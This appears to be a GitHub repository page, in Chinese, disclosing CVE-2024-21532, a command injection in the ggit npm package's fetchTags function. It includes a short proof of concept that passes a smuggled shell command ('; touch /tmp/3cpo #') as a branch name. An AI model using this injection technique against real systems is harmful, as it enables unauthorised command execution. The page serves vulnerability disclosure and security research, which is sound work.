lirantal/CVE-2024-21532-PoC-ggit

GitHub: lirantal/CVE-2024-21532-PoC-ggit

这是一个用于验证ggit包命令注入漏洞CVE-2024-21532的概念验证代码,旨在支持安全研究和漏洞利用演示。

Stars: 0 | Forks: 0

# CVE-2024-21532 ggit中的命令注入漏洞 `ggit` 自述如下: ``` Local promise-returning git command wrappers ``` 相关资源: * 项目GitHub源代码:https://github.com/bahmutov/ggit * 项目npm包:https://www.npmjs.com/package/ggit 关于此漏洞的文章撰写:https://nodejs-security.com/blog/flawed-git-promises-library-on-npm-leads-to-command-injection-vulnerability ## 漏洞利用背景 我报告的是 `ggit` npm包中的一个命令注入漏洞。 该漏洞体现于库的 `fetchTags(branch)` API, 该API允许用户输入指定要获取的分支,然后将此字符串与git命令连接, 随后传递给不安全的 `exec()` Node.js子进程API。 ## 漏洞利用方法 1. 安装 `ggit@2.4.12` 或更早版本 2. 建立以下POC: ``` const fetchTags = require("ggit").fetchTags; fetchTags("; touch /tmp/3cpo #").then(function () { // should be same as running command // git pull origin --tags console.log("done"); }); ``` 3. 观察磁盘上 `/tmp/3cpo` 路径创建的新文件 ## 参与贡献 关于参与此项目的指南,请查阅[贡献指南](./CONTRIBUTING.md)。 # 作者 Liran Tal
标签:API 安全漏洞, CVE-2024-21532, ggit 库漏洞, Git 工具安全, JavaScript 安全, MITM代理, Node.js 漏洞, npm 包安全, PoC 概念验证, 命令注入漏洞, 子进程执行漏洞, 安全测试, 攻击性安全, 数据可视化, 暗色界面, 漏洞分析, 网络安全, 网络安全研究, 路径探测, 隐私保护